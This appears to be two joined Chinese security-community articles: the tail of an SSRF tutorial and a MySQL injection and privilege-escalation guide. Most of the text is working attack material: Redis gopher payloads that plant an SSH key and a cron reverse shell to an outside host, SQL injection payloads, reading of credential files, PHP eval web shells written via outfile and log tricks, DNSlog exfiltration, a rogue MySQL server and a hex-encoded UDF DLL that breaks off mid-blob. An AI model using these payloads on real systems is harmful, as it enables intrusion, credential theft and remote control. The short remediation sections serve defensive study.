ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
payload由joychou的反弹shell修改而来，主要就是替换了写入文件的位置和文件内容。然后修改文件的长度。
然后尝试登陆，输入创建密钥的密码后，登陆成功。
2）利用redis写定时任务来反弹shell
既然提到反弹shell，就需要利用一台外网主机。此处使用了nc做端口监听。
使用payload为以下：
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
解码后的内容就是：
gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$61
*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
来自：<https://joychou.org/web/phpssrf.html>
其中$61为我的vps地址，也就是`%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333
0>&1%0a%0a%0a%0a`的字符串长度。执行后稍等片刻就可以收到反弹的shell了。同时需要写入的命令前后要加几个回车。
根据前文的提示，打开/passwd文件就可以找到flag了。
在网站页面上输入这一串字符，就可以结束这场SSRF之旅了。
# 5\. CMS实战演示
## 5.1 漏洞环境
vulhub、weblogic、ssrf
## 5.2 漏洞介绍
CVE-2014-4210，weblogic的uddiexplorer.war存在安全组件漏洞，此漏洞可通过HTTP协议利用，未经身份验证的远程攻击者可利用此漏洞影响受影响组件的机密性。该漏洞的影响版本包括：10.0.2.0,
10.3.6.0
## 5.3 下载地址
<https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf>
下载vulhub后，进入对应的安装目录，执行`docker-compose up -d`,会自动创建docker镜像。
构建完成后访问如下地址：
/uddiexplorer/SearchPublicRegistries.jsp
访问如下地址时返回，代表端口未开放：
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
响应可以看到返回404，证明端口开放：
然后可以根据遍历查看开放的端口服务，在根据开放的服务来决定是否能不能执行内网攻击。而实际中越到的SSRF大都是探测类使用，因为能正好搭配使用的情况，而且还可以查看或者反弹的，概率值得讨论。
## 5.4 漏洞修复
### 5.4.1 删除server/lib/uddiexplorer.war下的相应jsp文件。
jar -xvf uddiexplorer.war
rm jsp-files
jar -cvfM uddiexplorer.war uddiexplorer/
## 5.4.2 在官方的漏洞通报上找到补丁安装
<https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html>
# 6\. 漏洞修复
## 6.1 限制返回信息的，例如请求文件，只返回文件是否请求成功，没有请求成功到文件统一返回错误信息。
## 6.2 对请求地址设置白名单，只允许请求白名单内的地址。
## 6.3 禁用除http和https外的协议，如：file://，gopher://，dict://等
## 6.4 限制请求的端口为固定服务端口，如：80，443
## 6.5 Java类代码修复（来自joychou）
方法调用：
String[] urlwhitelist = {"joychou.com", "joychou.me"};
if (!UrlSecCheck(url, urlwhitelist)) {
return;
}
方法代码：
需要先添加guava库（目的是获取一级域名）
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>21.0</version>
</dependency>
方法实现：
public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {
try {
URL u = new URL(url);
// 只允许http和https的协议
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
return false;
}
// 获取域名，并转为小写
String host = u.getHost().toLowerCase();
// 获取一级域名
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
for (String whiteurl: urlwhitelist){
if (rootDomain.equals(whiteurl)) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
} | 社区文章 |
# 前言
mysql是目前用处最广泛数据库之一，作为安全从业者，详细系统的了解它的问题很有必要
# 介绍
MySQL 是一个关系型数据库管理系统，由瑞典 MySQL AB 公司开发，目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统，MySQL
的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策，它分为社区版和商业版，一般中小型网站的开发选择 MySQL
作为网站数据库。
# **Mysql 基础**
**information_schema**
MySQL自带的系统数据库，当中大部分是我们需要了结的信息，比如字符集，权限相关，数据库实体对象信息，外检约束，分区，压缩表，表信息，索引信息，参数，优化，锁和事物等等。所以可以利用这个数据库来进行注入。
--存储mysql数据库下面的所有表名信息的表
information_schema.tables
--数据库名 : table_schema
--表名 : Table_name
-- 存储mysql数据库下面的所有列名信息的表
information_schema.columns
-- 表名 : table_name
**常见系统函数和变量**
* version() -- MySQL版本
* user() -- 数据库用户名
* database() -- 数据库名
* @@datadir -- 数据库路径
* @@basedir -- 安装路径
* @@version_compile_os -- 操作系统版本
**字符连接函数**
concat(str1,str2,...)
将字符串拼接
concat_ws(separator,str1,str2,...)
将字符串有间隔的拼接
group_concat(str1,str2,...)
将字符串拼接，但是间隔一个逗号
**截取字符串函数**
**mid()**
此函数为截取字符串一部分。
MID(column_name,start[,length])
-- column_name : 必需。要提取字符的字段。
-- start : 必需。规定开始位置（起始值是 1）。
-- length : 可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。
例如 : str="abc" mid(str,2,1) 结果为b
**substr()**
Substr() 和 substring() 函数实现的功能是一样的，均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
-- 参数描述同 mid() 函数，第一个参数为要处理的字符串，start 为开始位置，length 为截取的长度。
**Left()**
得到字符串左部指定个数的字符
Left ( string, n )
-- string 为要截取的字符串，n 为长度。
**文件读取函数**
**load_file()**
load_file()：以文本方式读取文件，在 Windows 中，路径设置为 \
读取文件并返回该文件的内容作为一个字符串。
例如：select1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
# sql注入
最简单的单引号 双引号 括号闭合 联合查询就不在这里说了
并且post cookie注入 http头注入不会在这里出现，因为本质和get都相同
## 盲注
何为盲注？ 盲注就是在 sql 注入过程中， sql 语句执行的选择后， 选择的数据不能回显到前端页面。 此时， 我们需要利用一些方法进行判断或者尝试，
这个过程称之为盲注。我们可以知道盲注分为三类
**•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注 **
### **基于布尔 SQL 盲注**
这是根据网页是否正常显示来判断
#### left函数：
当前数据库是security
select left(database(),1)>'a'; //查询数据库的名字并且获取前一个字符和s的ascii码进行比较
因为第一个字符是s大于a ，结果返回1，否则为0
如果我们知道第一个字符是s了，那么查询第二个字符就把1改为2，这样就变为se和sc进行比较，因为se>sc所以返回结果为1，这里第一个字符s=s是可以相等了，他会看第二个字符
#### substr()函数， ascii()函数
su
substr(a,b,c)从 b 位置开始， 截取字符串 a 的 c 长度（注意起始位置是1不是0）
Ascii()将某个字符转换为 ascii 值
#### ORD()函数， MID()函数
ord同ascii mid同substr
#### 正则表达式
利用regexp函数
因为匹配到了会返回1匹配不对会返回0，我们可以用and来判断网页是否正确回显来看
这里的if可以去掉，因为默认就是返回1和0
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp '^r');
实际利用
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
我们要查询表的名字，因为没有回显所以使用正则表达式来判断，如果成功会返回1，失败会返回空
如何知道匹配结束，一般是根据正则表达式变为 FALSE 说明后面没有字符了
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
但是如果是存在有字符的情况下，这样也会出现FALSE的情况，比如user_a，字母r之后虽然判断为flase了，但是并没有结束，我们可以更换正则表达式table_name
regexp '^user$' ，判断是否是这个字符，^是从开头进行匹配， $是从结尾开始判断。
详情的正则表达式可以看[链接](https://blog.csdn.net/qq_46285118/article/details/113504889)
#### like 匹配注入
和上述的正则类似， mysql 在匹配的时候我们可以用 like 进行匹配
### 基于报错的 SQL 盲注
本来网页是不显示信息的，但是我们可以构造 payload 让信息通过错误提示回显出来
#### Floor报错注入
**首先介绍几个函数**
floor函数：向下取整
rand函数：随机产生0-1之前的随机数
但是如果给他传入一个固定参数，他就会产生一个伪随机数，并且数字不变这个随机数就一直不变
当我们乘2之后要不大于1要不小于1，所以floor得出的结果要不是0要不是1
count(*) 返回group分组之后的行的数量
当我们输入这条命令
select count(*),floor(rand(0)*2) x from users group by x;
如果加上database()
select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;
我们发现爆出了数据库
**原理分析 见**[
**Mysql报错注入之floor(rand(0)*2)报错原理探究**](https://www.freebuf.com/column/235496.html)
主要原因count(*)建立虚表计算数量时，因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错，我们将数据库的名连接，于是就会把数据库名爆出来（本质上报的是冲突的主键名）
**实际利用**
floor
# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
我们可以控制where之后的语句 加上一个and 即可运行
同理ceil函数其实也是取整数，和floor函数效果是一样的
#### extractvalue函数
extractvalue()：从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payload:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
第一个参数随便输入，我们需要的是第二个参数 因为0x7e是~的16进制，不符合xpath语法的格式，于是会把我们查询的给报错报出来
#### updatexml函数
同extractvalue
payload:
updatexml(1,concat(0x7e,database()),0)
**当然报错注入的函数不止这几个，这只是几个最常用的，大家有兴趣可以找一下其他的**
### 基于时间的 SQL 盲注
if(ascii(substr(database(),1,1))>115,0,sleep(5))
就是通过判断是否成功来进行延迟，这个很简单
benchmark 代替 sleep
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(1000000,md5(0x41))),1) --+
## 导入导出相关操作
### load_file()
load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件：
A、 必须有权限读取并且文件必须完全可读
and (select count( _) from mysql.user) >0/_ 如果结果返回正常,说明具有读写权限。
and (select count( _) from mysql.user) >0/_ 返回错误， 应该是管理员给数据库帐户降权
B、 欲读取文件必须在服务器上
C、 必须指定文件完整的路径
D、 欲读取文件必须小于 max_allowed_packet
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain： “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain： “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替
如果以下命令返回大于0则说明有读写权限，否则没有
select count(*) from mysql.user;
**使用条件:**
必须有权限读取并且文件必须完全可读
欲读取文件必须在服务器上
必须指定文件完整的路径
欲读取文件必须小于 max_allowed_packet
在很多 PHP 程序中， 当提交一个错误的 Query， 如果 display_errors = on， 程序就会暴露WEB 目录的绝对路径，
只要知道路径， 那么对于一个可以注入的 PHP 程序来说， 整个服务器的安全将受到严重的威胁。
**常用路径**
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
示例： Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来， 尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain： “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain： “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替
### into outfile
配置文件my.ini 需要有 **secure-file-priv=''**
写入一句话木马
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
修改文件尾
select version() into outfile "D:\\phpstudy_pro\\WWW\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
lines terminated by后写16进制字符串 本来默认是\r\n现在可以自己设置
如果load_file不显示，我们可以导入到别的文件中
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile
‘c:\\wamp\\www\\test.php
## 宽字节注入
原理： mysql 在使用 GBK 编码的时候， 会认为两个字符为一个汉字， 例如%aa%5c 就是一个
汉字（前一个 ascii 码大于 128 才能到汉字的范围） 。 我们在过滤 ’ 的时候， 往往利用的思
路是将 ‘ 转换为 \’
因此我们在此想办法将 ‘ 前面添加的 \ 除掉， 一般有两种思路：
1、 %df 吃掉 \ 具体的原因是 urlencode(\') = %5c%27， 我们在%5c%27 前面添加%df， 形
成%df%5c%27， 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字， 此
事%df%5c 就是一个汉字， %27 则作为一个单独的符号在外面，同时也就进行了闭合。
2、 将 \' 中的 \ 过滤掉， 例如可以构造 %**%5c%5c%27 的情况， 后面的%5c 会被前面的%5c
给注释掉。 这也是 bypass 的一种方法。
%df%27 浏览器url自动解码===> β\' 转为16进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27
进行url解码(因为是GBK编码，%df和%5c结合为汉字)===> 運'
**我们以墨者学院靶场为例**
由于'会被转码为\' 放到数据库 %27\会被转换 而'会留下 编程了 '-1運'
造成闭合之后我们就可以执行命令，而且在要注意一个点就是table_name这里的单引号也会被转义，于是我们直接给他转成16进制，数据库会自动给我们将16进制转换为字符串
得到最终结果
## 堆叠注入
mysql数据库[sql语句](https://so.csdn.net/so/search?q=sql%E8%AF%AD%E5%8F%A5&spm=1001.2101.3001.7020)的默认结束符是以;结尾，在执行多条SQL语句时就要使用结束符隔开，那么在；结束一条sql语句后继续构造下一条语句，是否会一起执行
我们发现确实同时执行了，那么在实际中我们引号闭合之后也有可能可以进行堆叠注入，但是堆叠注入和开发也有一定的关系，堆叠注入的局限性在于并不是每一个环境下都可以执行，
可能受到 API 或者数据库引擎不支持的限制， 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
## order by后的注入
字面意思就是我们传的参数只能在order by之后
解决方案① 报错注入
http://sql.com/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))
直接进行select查询，因为只要报错就会停止返回报错信息，我们不需要管是否排序或者排序是否会报错
解决方案② 利用rand函数
我们之前说rand里面添加数值他的内容就不会改变了
我们记住rand为true或者false的排序方式，和以下payload的返回结果进行判断来判断结果是否正确
http://sql.com/Less-46/?sort=rand(ascii(left(database(),1))=115)
解决方案③ 延时注入
payload
http://sql.com/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
rand函数是看返回结果，那我们直接用延迟函数看网站是否延迟会更方便
解决方案④ procedure analyse参数后注入
**此方法仅适用于5.0.0 <mysql<5.6.6的版本**
PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议利用 procedure analyse 参数，
我们可以执行报错注入。 同时， 在 procedure analyse 和order by 之间可以存在 limit 参数， 我们在实际应用中，
往往也可能会存在 limit 后的注入， 可以
利用 procedure analyse 进行注入。
**报错注入**
payload:
http://sql.com/Less-46/?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x7e,database())),1)
**写入shell**
http://sql.com/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f2829203f3e;
# DNSlog外带盲注回显
**利用条件**
1. DBMS中需要有可用的，能直接或间接引发DNS解析过程的子程序，即使用到UNC
2. Linux没有UNC路径，所以当处于Linux系统时，不能使用该方式获取数据
3. 有个重要条件： **load_file()函数可以使用。**
也就是说需要配置文件my.ini中 **secure_file_priv=**
**UNC**
UNC是一种命名惯例, 主要用于在Microsoft
Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式： \servername\sharename ，其中 servername 是服务器名，sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径，格式为：\servername\sharename\directory\filename
**payload:**
select load_file(concat('\\\\',(select hex(user())),'.4efz3f.dnslog.cn/abc'));
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\\abc'))--+
**①select * into**
mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)
mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)
use test;
drop table if exists vow;
create table vow(name text not null);
insert into vow(name) values('<?php phpinfo(); ?>');
select name from vow into outfile 'E:/5.txt';
drop tables vow;
**②基于log日志写shell法**
查询当前mysql下log日志的默认地址，同时也看下log日志是否为开启状态，并且记录下原地址，方便后面恢复。
set global general_log = on;
开启日志监测，一般是关闭的，如果一直开，文件会很大的。
set global general_log_file = ‘G:/2.php’;
这里设置我们需要写入的路径就可以了。
select ‘<?php eval($_POST[‘shiyan’]);?>’;
查询一个一句话，这个时候log日志里就会记录这个。
set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后，再修改为原来的路径。
set global general_log = off;
关闭下日志记录。
最后利用文件包含漏洞获取shell
**③通过慢日志查询获得webshell**
对日志量庞大，直接访问日志网页极有可能出现 500 错误。通过开启慢查询日志，记录了超时 10s 的 SQL，这样页面的代码量会减轻很多不易导致 500,
配置可解析日志文GETSHELL
show variables like '%slow%'; #查询慢日志配置
long_query_time 的默认值为 10，意思是运行 10S 以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过
long_query_time 值的 SQL，则会被记录到慢查询日志中。
set GLOBAL slow_query_log_file='D:/phpStudy2016/WWW/slow.php'; #配置慢日志的保存位置
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
# 通过MySQL LOAD DATA特性来达到任意文件读取
如果我们能连接服务器的数据库，但是数据库没有可用的信息，我们可以用load data infile命令读取服务器上的文件内容并存入表中
**先决条件**
show variables like '%secure%'
secure_file_priv为空 代表可用读取硬盘上所有的文件
**读取服务器文件load data infile**
我们创建一个txt文件
"1","pwd1"
"2","pwd2"
使用命令读取d盘的txt文件，存到test库中的user表中
load data infile 'D:/test.txt' into table user fields terminated by ',';
**读取客户端文件load data local infile**
load data local infile '/home/kali/Desktop/test.txt' into table user fields term
inated by ',';
**搭建虚假服务器读取客户端的文件**
漏洞利用的相关工具及源码已在github，<https://github.com/allyshka/Rogue-MySql-Server>
**条件：**
受害者的Mysql客户端有权限读文件
受害者的Mysql客户端设置中，local_infile非0或连接时有用--enable-local-infile，默认是能够读取的
**实验：**
开启server监听
kali用任意密码连接
发现mysql.log文件夹接收到/etc/passwd文件
[原理参考](https://xz.aliyun.com/t/3973)
# 提权
## UDF提权
**UDF (user defined function)**
，即用户[自定义函数](https://so.csdn.net/so/search?q=%E8%87%AA%E5%AE%9A%E4%B9%89%E5%87%BD%E6%95%B0&spm=1001.2101.3001.7020)。是通过添加新函数，对MySQL的功能进行扩充，其实就像使用本地MySQL函数如
user() 或 concat() 等。
**因为mysql拥有管理员权限，所以我们可以用mysql的管理员权限来执行命令,UDF提权和系统无关，当我们得到数据库的账号密码就可以尝试提权**
当 MySQL< 5.1 版本时，将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时，将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下
(lib\plugin目录默认不存在，需自行创建)。
**使用NTFS ADS流来创建文件夹的方法**
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
执行成功以后就会plugin目录，然后再进行导出udf.dll即可。
**实验测试：**
**查看当前权限**
大马没有回显，我们用蚁剑看发现是apache
使用shell连接数据库并执行命令写入dll文件(当然我们也可以直接将现成dll放到文件中)
这里的16进制文件其实就是dll的16进制，我们可以用python写一个简单脚本即可转换
with open(r"文件位置",'rb') as f:
hexdata = f.read().hex()
print("0x"+hexdata)
use mysql;
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d9